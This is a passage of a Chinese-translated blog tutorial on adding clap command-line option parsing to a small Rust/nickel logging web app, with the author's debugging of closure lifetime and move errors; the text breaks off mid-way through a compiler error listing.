    "content": "> * 原文地址：[A Simple Web App in Rust, Part 4 -- CLI Option Parsing](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-4-cli-option-parsing/)\n> * 原文作者：[Joel's Journal](http://joelmccracken.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n\n# 使用 Rust 开发一个简单的 Web 应用，第 4 部分 —— CLI 选项解析\n\n## 1 刚刚回到正轨\n\n哈喽！这两天抱歉了哈。我和妻子刚买了房子，这两天都在忙这个。感谢你的耐心等待。\n\n## 2 简介\n\n在之前的文章中，我们构建了一个“能跑起来”的应用；这证明了我们的计划可行。为了使它真正用起来，我们还需要关心比如说命令行选项之类的一些事情。\n\n所以，我要去做命令解析。但首先，我们先将现存的代码移出，以挪出空间我们可以做 CLI 解析实验。但在此之前，我们通常只需要移除旧文件，创建新 `main.rs`：\n\n```\n$ ls\nCargo.lock      Cargo.toml      log.txt         src             target\n$ cd src/\n$ ls\nmain.rs                 main_file_writing.rs    web_main.rs\n```\n\n`main_file_writing.rs` 和 `web_main.rs` 都是旧文件，所以我移除它们。然后我将 `main.rs` 重命名为 `main_logging_server.rs`，然后创建新的 `main.rs`。\n\n```\n$ git rm main_file_writing.rs web_main.rs\nrm 'src/main_file_writing.rs'\nrm 'src/web_main.rs'\n$ git commit -m 'remove old files'\n[master 771380b] remove old files\n 2 files changed, 35 deletions(-)\n delete mode 100644 src/main_file_writing.rs\n delete mode 100644 src/web_main.rs\n$ git mv main.rs main_logging_server.rs\n$ git commit -m 'move main out of the way for cli parsing experiment'\n[master 4d24206] move main out of the way for cli parsing experiment\n 1 file changed, 0 insertions(+), 0 deletions(-)\n rename src/{main.rs => main_logging_server.rs} (100%)\n$ touch main.rs\n```\n\n着眼于参数解析。在之前的帖子的评论部分，[Stephan Sokolow](http://blog.ssokolow.com/) 问我是否考虑过使用这个用于命令行解析的软件包 [clap](https://github.com/kbknapp/clap-rs)。Clap 看起来很有趣，所以我打算试试。\n\n## 3 需求\n\n以下服务需要能被参数配置：\n\n1. 日志文件的位置。\n2. 用来进行身份验证的私钥。\n3. （可能）设置时间记录使用的时区。\n\n我刚刚查看了一下我打算用的 Digital Ocean 虚拟机，它是东部标准时间，也正是我的时区，所以我或许会暂时跳过第三条。\n\n## 4 实现\n\n据我所知，设置 clap 依赖的方式是 `clap = \"*\";`。我更愿意指定一个具体的版本，但是现在“\\*”可以工作。\n\n我新的 Cargo.toml 文件：\n\n```\n[package]\nname = \"simple-log\"\nversion = \"0.1.0\"\nauthors = [\"Joel McCracken <mccracken.joel@gmail.com>\"]\n\n[dependencies]\n\nchrono = \"0.2\"\nclap   = \"*\"\n\n[dependencies.nickel]\n\ngit = \"https://github.com/nickel-org/nickel.rs.git\"\n```\n\n安装依赖：\n\n```\n$ cargo run\n    Updating registry `https://github.com/rust-lang/crates.io-index`\n Downloading ansi_term v0.6.3\n Downloading strsim v0.4.0\n Downloading clap v1.0.0-beta\n   Compiling strsim v0.4.0\n   Compiling ansi_term v0.6.3\n   Compiling clap v1.0.0-beta\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nerror: main function not found\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n这个错误只是因为我的 `main.rs` 还是空的；重要的是“编译 clap”已经成功。\n\n根据 README 文件，我会先尝试一个非常简单的版本：\n\n```\nextern crate clap;\nuse clap::App;\n\nfn main() {\n  let _ = App::new(\"fake\").version(\"v1.0-beta\").get_matches();\n}\n```\n\n运行：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\n$ cargo run\n     Running `target/debug/simple-log`\n$ cargo build --release\n   Compiling lazy_static v0.1.10\n   Compiling matches v0.1.2\n   Compiling bitflags v0.1.1\n   Compiling httparse v0.1.2\n   Compiling strsim v0.4.0\n   Compiling rustc-serialize v0.3.14\n   Compiling modifier v0.1.0\n   Compiling libc v0.1.8\n   Compiling unicase v0.1.0\n   Compiling groupable v0.2.0\n   Compiling regex v0.1.30\n   Compiling traitobject v0.0.3\n   Compiling pkg-config v0.3.4\n   Compiling ansi_term v0.6.3\n   Compiling gcc v0.3.5\n   Compiling typeable v0.1.1\n   Compiling unsafe-any v0.4.1\n   Compiling num_cpus v0.2.5\n   Compiling rand v0.3.8\n   Compiling log v0.3.1\n   Compiling typemap v0.3.2\n   Compiling clap v1.0.0-beta\n   Compiling plugin v0.2.6\n   Compiling mime v0.0.11\n   Compiling time v0.1.25\n   Compiling openssl-sys v0.6.2\n   Compiling openssl v0.6.2\n   Compiling url v0.2.34\n   Compiling mustache v0.6.1\n   Compiling num v0.1.25\n   Compiling cookie v0.1.20\n   Compiling hyper v0.4.0\n   Compiling chrono v0.2.14\n   Compiling nickel v0.5.0 (https://github.com/nickel-org/nickel.rs.git#69546f58)\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n\n$ target/debug/simple-log --help\nsimple-log v1.0-beta\n\nUSAGE:\n        simple-log [FLAGS]\n\nFLAGS:\n    -h, --help       Prints help information\n    -V, --version    Prints version information\n\n$ target/release/simple-log --help\nsimple-log v1.0-beta\n\nUSAGE:\n        simple-log [FLAGS]\n\nFLAGS:\n    -h, --help       Prints help information\n    -V, --version    Prints version information\n```\n\n我不知道为什么自述文件告诉我要使用 `--release` 编译 —— 似乎 `debug` 也一样能工作。而我并不清楚将会发生什么。我们删除掉 target 目录，不加`--release` 再编译一次：\n\n```\n$ rm -rf target\n$ ls\nCargo.lock      Cargo.toml      log.txt         src\n$ cargo build\n   Compiling gcc v0.3.5\n   Compiling strsim v0.4.0\n   Compiling typeable v0.1.1\n   Compiling unicase v0.1.0\n   Compiling ansi_term v0.6.3\n   Compiling modifier v0.1.0\n   Compiling httparse v0.1.2\n   Compiling regex v0.1.30\n   Compiling matches v0.1.2\n   Compiling pkg-config v0.3.4\n   Compiling lazy_static v0.1.10\n   Compiling traitobject v0.0.3\n   Compiling rustc-serialize v0.3.14\n   Compiling libc v0.1.8\n   Compiling groupable v0.2.0\n   Compiling bitflags v0.1.1\n   Compiling unsafe-any v0.4.1\n   Compiling clap v1.0.0-beta\n   Compiling typemap v0.3.2\n   Compiling rand v0.3.8\n   Compiling num_cpus v0.2.5\n   Compiling log v0.3.1\n   Compiling time v0.1.25\n   Compiling openssl-sys v0.6.2\n   Compiling plugin v0.2.6\n   Compiling mime v0.0.11\n   Compiling openssl v0.6.2\n   Compiling url v0.2.34\n   Compiling num v0.1.25\n   Compiling mustache v0.6.1\n   Compiling cookie v0.1.20\n   Compiling hyper v0.4.0\n   Compiling chrono v0.2.14\n   Compiling nickel v0.5.0 (https://github.com/nickel-org/nickel.rs.git#69546f58)\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n$ target/release/simple-log --help\nbash: target/release/simple-log: No such file or directory\n$ target/debug/simple-log --help\nsimple-log v1.0-beta\n\nUSAGE:\n        simple-log [FLAGS]\n\nFLAGS:\n    -h, --help       Prints help information\n    -V, --version    Prints version information\n$\n```\n\n所以，我猜你并不需要加 `--release`。耶，每天学点新东西。\n\n我们再回过头来看 `main` 代码，我注意到变量以 `_` 命名；我们假定这是必须的，为了防止警告，表示废弃。使用 `_` 表示“故意未使用”真是漂亮的标准，我喜欢 Rust 对此支持。\n\n好了，根据 clap 自述文件和上面的小实验，我首次尝试写一个参数解析器：\n\n```\nextern crate clap;\nuse clap::{App,Arg};\n\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .takes_value(true))\n        .get_matches();\n\n    println!(\"Logfile path: {}\", matches.value_of(\"LOG FILE\").unwrap());\n\n}\n```\n\n=>\n\n```\n$ cargo run -- --logfile whodat\n     Running `target/debug/simple-log --logfile whodat`\nLogfile path: whodat\n$ cargo run -- -l whodat\n     Running `target/debug/simple-log -l whodat`\nLogfile path: whodat\n```\n\n很棒，正常工作！但这有一个问题：\n\n```\n$ cargo run\n     Running `target/debug/simple-log`\nthread '<main>' panicked at 'called `Option::unwrap()` on a `None` value', /private/tmp/rust2015051\n6-38954-h579wb/rustc-1.0.0/src/libcore/option.rs:362\nAn unknown error occurred\n\nTo learn more, run the command again with --verbose.\n```\n\n看起来，在这调用 `unwrap()` 不是一个好主意，因为参数不一定被传入！\n\n我不清楚大型的 Rust 社区对 `unwrap` 的建议是什么，但我总能看见社区里提到为什么它应该可以在这里使用。然而我觉得这说得通，在应用规模增长的过程中，某位置失效是“喜闻乐见的”。错误发生在运行期。这不是编译器可以检测的出的！\n\n`unwrap` 的基本思想是类似空指针异常么？我想是的。但是，它确实让你停下来思考你在做什么，如果 `unwrap` 意味着代码异味，这还不错。这导致我有点想法想倒出来：\n\n## 5 杂言\n\n我坚信开发者的编码质量不是语言层面能解决的问题。各类静态语言社区总是花言巧语：“这些语言能使码农远离糟糕的编码。”好啊，你猜怎么样：这是不可能的。\n\n首先，你没法使用任何明确的方式定义“优秀的代码”。确实，使代码优秀的绝大多数原因是高内聚。举一个非常简单的例子，面条代码在原型期往往是工作良好的，但在生产质量下，面条代码是可怕的。\n\n最近的 OpenSSL 漏洞就是最好的例证。在新闻中，我没有得到多少信息，但我收集的资料表示，漏洞是由于**错误的业务逻辑**导致的。在某些极端情况下，攻击者可以冒充 CA（可信第三方）。你如何通过编译器预防**此类**问题呢？\n\n确实，这将我带回了 Charles Babbage 中的一个旧内容：\n\n> On two occasions I have been asked, \"Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?\" In one case a member of the Upper, and in the other a member of the Lower, House put this question. I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.\n\n对此最好的办法就是让开发者**更容易**编程，让正确的事情符合常规，容易达成。\n\n当你认为静态类型系统使编程**更易**的时候，我认为这件事又开始有意义了。说到底，开发者有责任保证程序行为正确，我们必须相信他们，赋予他们权利。\n\n总而言之：程序员总是可以实现一个小的 Scheme 解释器，并在其中编写所有的应用程序逻辑。如果你试图通过类型检查器来防止这样的事情，那么祝你好运咯。\n\n好了，我说完了，我将放下我的话匣子。谢谢你容忍我喋喋不休。\n\n## 6 继续\n\n回到主题上，我注意到有一个 `Arg` 的选项用来指定参数是否可选。我觉得我需要指定这个：\n\n```\nextern crate clap;\nuse clap::{App,Arg};\n\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .get_matches();\n\n    println!(\"Logfile path: {}\", matches.value_of(\"LOG FILE\").unwrap());\n\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nerror: The following required arguments were not supplied:\n        '--logfile <LOG FILE>'\n\nUSAGE:\n        simple-log --logfile <LOG FILE>\n\nFor more information try --help\nAn unknown error occurred\n\nTo learn more, run the command again with --verbose.\n$ cargo run -- -l whodat\n     Running `target/debug/simple-log -l whodat`\nLogfile path: whodat\n```\n\n奏效了！我们需要的下一个选项是通过命令行指定一个私钥。让我们添加它，但使其可选，因为，嗯，为什么不呢？我可能要搭建一个公开版本供人们预览。\n\n我这样写：\n\n```\nextern crate clap;\nuse clap::{App,Arg};\n\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .arg(Arg::with_name(\"AUTH TOKEN\")\n             .short(\"t\")\n             .long(\"token\")\n             .takes_value(true))\n        .get_matches();\n\n    let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\n    let auth_token   = matches.value_of(\"AUTH TOKEN\");\n}\n```\n\n=>\n\n```\n$ cargo run -- -l whodat\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:17:9: 17:21 warning: unused variable: `logfile_path`, #[warn(unused_variables)] on by d\nefault\nsrc/main.rs:17     let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\n                       ^~~~~~~~~~~~\nsrc/main.rs:18:9: 18:19 warning: unused variable: `auth_token`, #[warn(unused_variables)] on by default\nsrc/main.rs:18     let auth_token   = matches.value_of(\"AUTH TOKEN\");\n                       ^~~~~~~~~~\n     Running `target/debug/simple-log -l whodat`\n```\n\n这有很多（预料中的）警告，无妨，它成功编译运行。我只是想检查一下类型问题。现在让我们真正开始编写程序。我们以下面的代码开始：\n\n```\nuse std::io::prelude::*;\nuse std::fs::OpenOptions;\nuse std::io;\n\n#[macro_use] extern crate nickel;\nuse nickel::Nickel;\n\nextern crate chrono;\nuse chrono::{DateTime,Local};\n\nextern crate clap;\nuse clap::{App,Arg};\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<String> {\n    let entry = formatted_time_entry();\n    {\n        let bytes = entry.as_bytes();\n\n        try!(record_entry_in_log(filename, &bytes));\n    }\n    Ok(entry)\n}\n\nfn do_log_time(logfile_path: &'static str, auth_token: Option<&str>) -> String {\n    match log_time(logfile_path) {\n        Ok(entry) => format!(\"Entry Logged: {}\", entry),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .arg(Arg::with_name(\"AUTH TOKEN\")\n             .short(\"t\")\n             .long(\"token\")\n             .takes_value(true))\n        .get_matches();\n\n    let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\n    let auth_token   = matches.value_of(\"AUTH TOKEN\");\n\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time(logfile_path, auth_token)\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n=>\n\n```\n$ cargo run -- -l whodat\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:60:24: 60:31 error: `matches` does not live long enough\nsrc/main.rs:60     let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\n                                      ^~~~~~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:58:24: 72:2 note: ...but borrowed value is only valid for the block suffix following st\natement 0 at 58:23\nsrc/main.rs:58         .get_matches();\nsrc/main.rs:59\nsrc/main.rs:60     let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\nsrc/main.rs:61     let auth_token   = matches.value_of(\"AUTH TOKEN\");\nsrc/main.rs:62\nsrc/main.rs:63     let mut server = Nickel::new();\n               ...\nsrc/main.rs:61:24: 61:31 error: `matches` does not live long enough\nsrc/main.rs:61     let auth_token   = matches.value_of(\"AUTH TOKEN\");\n                                      ^~~~~~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:58:24: 72:2 note: ...but borrowed value is only valid for the block suffix following st\natement 0 at 58:23\nsrc/main.rs:58         .get_matches();\nsrc/main.rs:59\nsrc/main.rs:60     let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\nsrc/main.rs:61     let auth_token   = matches.value_of(\"AUTH TOKEN\");\nsrc/main.rs:62\nsrc/main.rs:63     let mut server = Nickel::new();\n               ...\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n我不理解哪错了 —— 这和例子实质上是一样的。我尝试注释掉一堆代码，直到它等效于下面的代码：\n\n```\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .arg(Arg::with_name(\"AUTH TOKEN\")\n             .short(\"t\")\n             .long(\"token\")\n             .takes_value(true))\n        .get_matches();\n\n    let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\n    let auth_token   = matches.value_of(\"AUTH TOKEN\");\n}\n```\n\n…… 现在它可以编译了。报了很多警告，但无妨。\n\n上面的错误信息都不是被注释掉的行产生的。现在我直到错误信息不一定指造成问题的代码，我知道要去别处看看。\n\n我做的第一件事是去掉对两个参数的引用。代码变成了这样：\n\n```\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .arg(Arg::with_name(\"AUTH TOKEN\")\n             .short(\"t\")\n             .long(\"token\")\n             .takes_value(true))\n        .get_matches();\n\n    let logfile_path = matches.value_of(\"LOG FILE\").unwrap();\n    let auth_token   = matches.value_of(\"AUTH TOKEN\");\n\n    let mut server = Nickel::new();\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time(\"\", Some(\"\"))\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n代码成功的编译运行。现在我了解了问题所在，我**怀疑**是GET请求被映射到 `get **` 闭包中，而将这些变量传入该闭包中引起了生命周期冲突。\n\n我和我的朋友 [Carol Nichols](https://twitter.com/Carols10cents) 讨论了这个问题，她给我的建议使得我离解决问题更进一步：将 `logfile_path` 和 `auth_token` 转换成 `String` 类型。\n\n在这我能确信的是，`logfile_path` 和 `auth_token` 都是对于 `matches` 数据结构中某处的 `str` 类型的一个假借，它们在某一时间被传出作用域。在 `main` 函数结尾？由于在闭包结束时 `main` 函数仍然在运行，似乎 `matches` 仍然存在。\n\n另外，可能闭包不适用于假借变量。我觉得这似乎不太可能。似乎是编译器无法肯定当闭包被调用时 `matches` 会仍然存在。即便如此，现在的情况仍然难以令人理解，因为闭包在 `server` 之中，将与 `matches` 同时结束作用域！\n\n不管如何，我们这样修改代码：\n\n```\n// ...\nlet logfile_path = matches.value_of(\"LOG FILE\").unwrap();\nlet auth_token   = matches.value_of(\"AUTH TOKEN\");\n\nlet mut server = Nickel::new();\nserver.utilize(router! {\n    get \"**\" => |_req, _res| {\n        do_log_time(logfile_path, auth_token)\n    }\n});\n// ...\n```\n\n改成这样：\n\n```\n// ...\nlet logfile_path = matches.value_of(\"LOG FILE\").unwrap().to_string();\nlet auth_token = match matches.value_of(\"AUTH TOKEN\") {\n    Some(str) => Some(str.to_string()),\n    None => None\n};\n\nlet mut server = Nickel::new();\nserver.utilize(router! {\n    get \"**\" => |_req, _res| {\n        do_log_time(logfile_path, auth_token)\n    }\n});\n\nserver.listen(\"127.0.0.1:6767\");\n// ...\n```\n\n…… 解决了问题。我也令各个函数参数中的 `&str` 类型改为 `String` 类型。\n\n当然，这揭示了一个**新**问题：\n\n```\n$ cargo build\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:69:25: 69:37 error: cannot move out of captured outer variable in an `Fn` closure\nsrc/main.rs:69             do_log_time(logfile_path, auth_token)\n                                       ^~~~~~~~~~~~\n<nickel macros>:1:1: 1:27 note: in expansion of as_block!\n<nickel macros>:10:12: 10:42 note: expansion site\nnote: in expansion of closure expansion\n<nickel macros>:9:6: 10:54 note: expansion site\n<nickel macros>:1:1: 10:62 note: in expansion of _middleware_inner!\n<nickel macros>:4:1: 4:60 note: expansion site\n<nickel macros>:1:1: 7:46 note: in expansion of middleware!\n<nickel macros>:11:32: 11:78 note: expansion site\n<nickel macros>:1:1: 21:78 note: in expansion of _router_inner!\n<nickel macros>:4:1: 4:43 note: expansion site\n<nickel macros>:1:1: 4:47 note: in expansion of router!\nsrc/main.rs:67:20: 71:6 note: expansion site\nsrc/main.rs:69:39: 69:49 error: cannot move out of captured outer variable in an `Fn` closure\nsrc/main.rs:69             do_log_time(logfile_path, auth_token)\n                                                     ^~~~~~~~~~\n<nickel macros>:1:1: 1:27 note: in expansion of as_block!\n<nickel macros>:10:12: 10:42 note: expansion site\nnote: in expansion of closure expansion\n<nickel macros>:9:6: 10:54 note: expansion site\n<nickel macros>:1:1: 10:62 note: in expansion of _middleware_inner!\n<nickel macros>:4:1: 4:60 note: expansion site\n<nickel macros>:1:1: 7:46 note: in expansion of middleware!\n<nickel macros>:11:32: 11:78 note: expansion site\n<nickel macros>:1:1: 21:78 note: in expansion of _router_inner!\n<nickel macros>:4:1: 4:43 note: expansion site\n<nickel macros>:1:1: 4:47 note: in expansion of router!\nsrc/main.rs:67:20: 71:6 note: expansion site\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n乍一看，我完全不能理解这个错误：\n\n```\nsrc/main.rs:69:25: 69:37 error: cannot move out of captured outer variable in an `Fn` closure\nsrc/main.rs:69             do_log_time(logfile_path, auth_token)\n```\n\n它说的“移出”一个被捕获的变量是什么意思？我不记得有哪个语言有这种移入、移出变量这样的概念，那个错误信息对我来说难以理解。\n\n错误信息也告诉了我一些其他奇怪的事情；什么是闭包必须拥有其中的对象？\n\n我又上网查了查这个错误信息，有一些结果，但看起来没有对我有用的。所以，我们接着玩耍。\n\n## 7 更多的调试\n\n首先，我先使用 `--verbose` 编译看看能不能显示一些有用的，但这并没有打印任何关于此错误的额外信息，只是一些关于一般命令的。\n\n我依稀记得 Rust 文档中具体谈到了闭包，所以我决定去看看。根据文档，我猜测我需要一个“move”闭包。但当我尝试的时候：\n\n```\nserver.utilize(router! {\n    get \"**\" => move |_req, _res| {\n        do_log_time(logfile_path, auth_token)\n    }\n});\n```\n\n…… 提示了一个新的错误信息：\n\n```\n$ cargo run -- -l whodat\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:66:21: 66:25 error: no rules expected the token `move`\nsrc/main.rs:66         get \"**\" => move |_req, _res| {\n                                   ^~~~\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n这是我困惑，所以我决定试试把它移动到外面去：\n\n```\nfoo = move |_req, _res| {\n    do_log_time(logfile_path, auth_token)\n};\n\nserver.utilize(router! {\n    get \"**\" => foo\n});\n```\n\n=>\n\n```\n$ cargo run -- -l whodat\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:70:21: 70:24 error: no rules expected the token `foo`\nsrc/main.rs:70         get \"**\" => foo\n                                   ^~~\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n出现了相同的错误信息。\n\n这次我注意到，关于模式匹配宏系统的错误信息用词看起来十分奇怪，我记得 `router!` 宏在这里被使用。一些宏很奇怪！我知道如何解决这个问题，因为我之前处理过。\n\n```\n$ rustc src/main.rs --pretty=expanded -Z unstable-options\nsrc/main.rs:5:14: 5:34 error: can't find crate for `nickel`\nsrc/main.rs:5 #[macro_use] extern crate nickel;\n```\n\n据此，我猜，或许我需要给 cargo 传递这个参数So？查阅 cargo 文档，没有发现任何能传递参数给 `rustc` 的方式。\n\n在网上搜索一波，我发现了一些 GitHub issues 提出传递任意参数是不被支持的，除非创建一个自定义 cargo 命令，这似乎从我现在要解决的问题转移到了另一个可怕的问题，所以我不想接着这个思路走。\n\n突然，一个疯狂的想法浮现在我的脑海：当使用 `cargo run --verbose`时，我去看输出中 `rustc` 命令是怎样执行的：\n\n```\n# ...\nCaused by:\n  Process didn't exit successfully: `rustc src/main.rs --crate-name simple_log --crate-type bin -g -\n-out-dir /Users/joel/Projects/simple-log/target/debug --emit=dep-info,link -L dependency=/Users/joel\n/Projects/simple-log/target/debug -L dependency=/Users/joel/Projects/simple-log/target/debug/deps --\nextern nickel=/Users/joel/Projects/simple-log/target/debug/deps/libnickel-0a4cb77ee6c08a8b.rlib --ex\ntern chrono=/Users/joel/Projects/simple-log/target/debug/deps/libchrono-a9b06d7e3a59ae0d.rlib --exte\nrn clap=/Users/joel/Projects/simple-log/target/debug/deps/libclap-01156bdabdb6927f.rlib -L native=/U\nsers/joel/Projects/simple-log/target/debug/build/openssl-sys-9c1a0f13b3d0a12d/out -L native=/Users/j\noel/Projects/simple-log/target/debug/build/time-30c208bd835b525d/out` (exit code: 101)\n# ...\n```\n\n…… 我这个骚操作：我能否修改 rustc 的编译指令，输出宏扩展代码呢？我们试一下：\n\n```\n$ rustc src/main.rs --crate-name simple_log --crate-type bin -g --out-dir /Users/joel/Projects/simple-log/target/debug --emit=dep-info,link -L dependency=/Users/joel/Projects/simple-log/target/debug -L\ndependency=/Users/joel/Projects/simple-log/target/debug/deps --extern nickel=/Users/joel/Projects/simple-log/target/debug/deps/libnickel-0a4cb77ee6c08a8b.rlib --extern chrono=/Users/joel/Projects/simple\n-log/target/debug/deps/libchrono-a9b06d7e3a59ae0d.rlib --extern clap=/Users/joel/Projects/simple-log/target/debug/deps/libclap-01156bdabdb6927f.rlib -L native=/Users/joel/Projects/simple-log/target/debu\ng/build/openssl-sys-9c1a0f13b3d0a12d/out -L native=/Users/joel/Projects/simple-log/target/debug/build/time-30c208bd835b525d/out --pretty=expanded -Z unstable-options > macro-expanded.rs\n$ cat macro-expanded.rs\n#![feature(no_std)]\n#![no_std]\n#[prelude_import]\nuse std::prelude::v1::*;\n#[macro_use]\nextern crate std as std;\nuse std::io::prelude::*;\n...\n```\n\n它奏效了！这种操作登不得大雅之堂，但有时就是偏方才奏效，我至少弄明白了。这也让我弄清了 `cargo` 是怎样调用 `rustc` 的。\n\n对我们有用的输出部分是这样的：\n\n```\nserver.utilize({\n    use nickel::HttpRouter;\n    let mut router = ::nickel::Router::new();\n    {\n        router.get(\"**\",{\n            use nickel::{MiddlewareResult, Responder, \n                        Response, Request};\n            #[inline(always)]\n            fn restrict<'a, R: Responder>(r: R, res: Response<'a>) \n                                            -> MiddlewareResult<'a> {\n                res.send(r)\n            }\n            #[inline(always)]\n            fn restrict_closure<F>(f: F) -> F \n                    where F: for<'r, 'b, 'a>Fn(&'r mut Request<'b, 'a, 'b>, \n                        Response<'a>) -> MiddlewareResult<'a> + Send + Sync {\n                f\n            }\n            restrict_closure(\n                move |_req, _res| { \n                    restrict({ \n                        do_log_time(logfile_path, auth_token)\n                    }, _res)\n            })\n        });\n        router\n    }\n});\n```\n\n\n\n\n\n\n\n\n\n好吧，信息量很大。我们来抽丝剥茧。\n\n有两个函数，`restrict` 和 `restrict_closure`，这令我惊讶。我**认为**它们的存在是为了提供更好的关于这些请求处理闭包的类型 / 错误信息。\n\n然而，这还有许多有趣的事情：\n\n```\nrestrict_closure(move |_req, _res| { ... })\n```\n\n…… 这告诉我，宏指定了闭包是 move 闭包。从理论上，是这样的。\n\n## 8 重构\n\n我们重构，并且重新审视一下这个问题。这一次，`main` 函数是这样的：\n\n```\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .arg(Arg::with_name(\"AUTH TOKEN\")\n             .short(\"t\")\n             .long(\"token\")\n             .takes_value(true))\n        .get_matches();\n\n    let logfile_path = matches.value_of(\"LOG FILE\").unwrap().to_string();\n    let auth_token = match matches.value_of(\"AUTH TOKEN\") {\n        Some(str) => Some(str.to_string()),\n        None => None\n    };\n\n    let mut server = Nickel::new();\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time(logfile_path, auth_token)\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n编译时输出为：\n\n```\n$ cargo build\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:69:25: 69:37 error: cannot move out of captured outer variable in an `Fn` closure\nsrc/main.rs:69             do_log_time(logfile_path, auth_token)\n                                       ^~~~~~~~~~~~\n<nickel macros>:1:1: 1:27 note: in expansion of as_block!\n<nickel macros>:10:12: 10:42 note: expansion site\nnote: in expansion of closure expansion\n<nickel macros>:9:6: 10:54 note: expansion site\n<nickel macros>:1:1: 10:62 note: in expansion of _middleware_inner!\n<nickel macros>:4:1: 4:60 note: expansion site\n<nickel macros>:1:1: 7:46 note: in expansion of middleware!\n<nickel macros>:11:32: 11:78 note: expansion site\n<nickel macros>:1:1: 21:78 note: in expansion of _router_inner!\n<nickel macros>:4:1: 4:43 note: expansion site\n<nickel macros>:1:1: 4:47 note: in expansion of router!\nsrc/main.rs:67:20: 71:6 note: expansion site\nsrc/main.rs:69:39: 69:49 error: cannot move out of captured outer variable in an `Fn` closure\nsrc/main.rs:69             do_log_time(logfile_path, auth_token)\n                                                     ^~~~~~~~~~\n<nickel macros>:1:1: 1:27 note: in expansion of as_block!\n<nickel macros>:10:12: 10:42 note: expansion site\nnote: in expansion of closure expansion\n<nickel macros>:9:6: 10:54 note: expansion site\n<nickel macros>:1:1: 10:62 note: in expansion of _middleware_inner!\n<nickel macros>:4:1: 4:60 note: expansion site\n<nickel macros>:1:1: 7:46 note: in expansion of middleware!\n<nickel macros>:11:32: 11:78 note: expansion site\n<nickel macros>:1:1: 21:78 note: in 